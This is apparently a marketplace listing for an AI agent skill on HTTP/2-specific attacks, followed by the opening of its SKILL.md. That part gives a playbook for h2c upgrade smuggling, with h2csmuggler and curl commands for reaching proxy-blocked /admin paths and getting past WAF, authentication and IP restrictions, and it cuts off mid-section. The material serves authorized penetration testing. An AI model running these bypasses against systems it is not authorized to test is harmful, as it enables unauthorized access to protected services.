Http2 Specific Attacks
Run an HTTP/2-focused offensive playbook when a target advertises HTTP/2 and you need framing, HPACK, h2c, or downgrade-specific abuse beyond generic request smuggling.
Overview
HTTP/2 Specific Attacks is an agent skill for the Ship phase that guides authorized testers through HTTP/2-only exploitation paths including h2c smuggling, HPACK attacks, and H2→H1 downgrade flaws.
Install
npx skills add https://github.com/yaklang/hack-skills --skill http2-specific-attacksWhat is this skill?
- Covers h2c upgrade smuggling, H2.CL/H2.TE variants, and H2→H1 downgrade translation flaws distinct from HTTP/1.1 smuggli
- Maps binary framing, HPACK compression oracles, and pseudo-header injection attack surface
- Routes to related request-smuggling, race-condition, and web-cache-deception playbooks
- Emphasizes parser differentials and stream multiplexing abuse including RST_STREAM flood patterns
- Expert playbook framing so agents do not conflate HTTP/2 techniques with basic CL.TE smuggling
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 1/3 security scanners passed (skills.sh audits).
What problem does it solve?
You confirmed HTTP/2 on a target but generic HTTP/1.1 smuggling guidance misses framing, HPACK, and multiplex-specific weaknesses.
Who is it for?
Bug bounty hunters, appsec engineers, and indie builders pentesting their own HTTP/2 gateways or API meshes in a lab or scoped engagement.
Skip if: Solo builders who only need SEO, landing pages, or feature work with no security assessment scope—skip unless you operate HTTP/2 edges you are authorized to test.
When should I use this skill?
Target supports HTTP/2 and you need to exploit binary framing, HPACK compression, h2c upgrade smuggling, pseudo-header injection, stream multiplexing abuse, or H2→H1 downgrade translation flaws.
What do I get? / Deliverables
You get a structured attack surface map and cross-linked playbooks so probes target H2-unique vectors instead of misapplied CL.TE recipes.
- Prioritized HTTP/2 attack surface checklist
- Cross-links to smuggling and race-condition follow-up tests
Recommended Skills
Journey fit
Canonical shelf is Ship → Security because the skill is an authorized testing playbook for protocol-level flaws you validate before or after production exposure. Security subphase fits protocol attack surfaces (smuggling, pseudo-headers, multiplex races) rather than functional backend implementation.
How it compares
Use as a protocol-specialist layer on top of generic request-smuggling skills, not as a substitute for baseline CL.TE/TE.CL fundamentals.
Common Questions / FAQ
Who is http2-specific-attacks for?
Authorized security testers, CTF competitors, and backend owners validating HTTP/2 front doors, reverse proxies, and CDNs—not casual product-only workflows.
When should I use http2-specific-attacks?
During Ship security reviews when HTTP/2 or h2c is in play, when HPACK or pseudo-header behavior looks suspicious, or when downgrade smuggling between H2 and H1 backends is possible.
Is http2-specific-attacks safe to install?
It is offensive-security procedural knowledge; review the Security Audits panel on this Prism page and only run techniques on systems you own or have written permission to test.
SKILL.md
READMESKILL.md - Http2 Specific Attacks
# SKILL: HTTP/2 Specific Attacks — Expert Attack Playbook > **AI LOAD INSTRUCTION**: HTTP/2 protocol-level attack techniques beyond basic request smuggling. Covers h2c smuggling, pseudo-header manipulation, HPACK attacks, single-packet race conditions, and H2→H1 downgrade injection. Base models conflate HTTP/2 smuggling with HTTP/1.1 smuggling — this skill focuses on H2-unique attack surface. ## 0. RELATED ROUTING - [request-smuggling](../request-smuggling/SKILL.md) — CL.TE/TE.CL/TE.TE fundamentals and H2.CL/H2.TE variants - [request-smuggling/H2_SMUGGLING_VARIANTS.md](../request-smuggling/H2_SMUGGLING_VARIANTS.md) — byte-level H2.CL/H2.TE payloads, CL.0, client-side desync - [race-condition](../race-condition/SKILL.md) — single-packet attack leverages H2 multiplexing for race conditions - [web-cache-deception](../web-cache-deception/SKILL.md) — cache poisoning via H2 smuggled responses --- ## 1. HTTP/2 ATTACK SURFACE OVERVIEW | Feature | Attack Surface | |---|---| | Binary framing | Frame-level manipulation, parser differentials | | HPACK compression | Compression oracles (CRIME/BREACH), table poisoning | | Multiplexing | Single-packet race conditions, RST_STREAM flood | | Server push | Cache poisoning via unsolicited push | | Pseudo-headers (`:method`/`:path`/`:authority`/`:scheme`) | Injection, request splitting, path discrepancy | --- ## 2. h2c (HTTP/2 CLEARTEXT) SMUGGLING ### 2.1 Concept h2c is HTTP/2 without TLS, negotiated via the HTTP/1.1 `Upgrade` mechanism. Many reverse proxies forward the `Upgrade: h2c` header without understanding it, allowing attackers to bypass proxy-level access controls. ``` Client ──[Upgrade: h2c]──> Reverse Proxy ──[forwards blindly]──> Backend │ Backend speaks H2 Proxy is blind to the H2 conversation ``` ### 2.2 Attack Flow ``` 1. Client sends HTTP/1.1 request with: GET / HTTP/1.1 Host: target.com Upgrade: h2c HTTP2-Settings: <base64 H2 settings> Connection: Upgrade, HTTP2-Settings 2. Proxy forwards request (doesn't understand h2c) 3. Backend responds: HTTP/1.1 101 Switching Protocols 4. Connection is now HTTP/2 between client and backend 5. Proxy is now a TCP tunnel — cannot inspect/filter H2 frames 6. Client sends H2 requests directly to backend, bypassing proxy rules ``` ### 2.3 What You Can Bypass ``` ✓ Path-based access controls (/admin blocked at proxy → accessible via h2c) ✓ WAF rules (proxy-side WAF can't inspect H2 binary frames) ✓ Rate limiting (proxy-level rate limits bypassed) ✓ Authentication (proxy-enforced auth headers) ✓ IP restrictions (proxy validates source IP, but h2c tunnel bypasses) ``` ### 2.4 Tool: h2csmuggler ```bash # Install git clone https://github.com/BishopFox/h2csmuggler cd h2csmuggler pip3 install h2 # Basic smuggle — access /admin bypassing proxy restrictions python3 h2csmuggler.py -x https://target.com/ --test # Smuggle specific path python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin/users # With custom headers python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin \ -H "Authorization: Bearer token123" ``` ### 2.5 Detection ```bash # Check if backend supports h2c upgrade curl -v --http1.1 https://target.com/ \ -H "Upgrade: h2c" \ -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA" \ -H "Connection: Upgrade, HTTP2-Settings" # 101 Switching Protocols → h2c supported # 200/400/other → h2c not supported or proxy blocks upgrade ``` --- ## 3. PSEUDO-H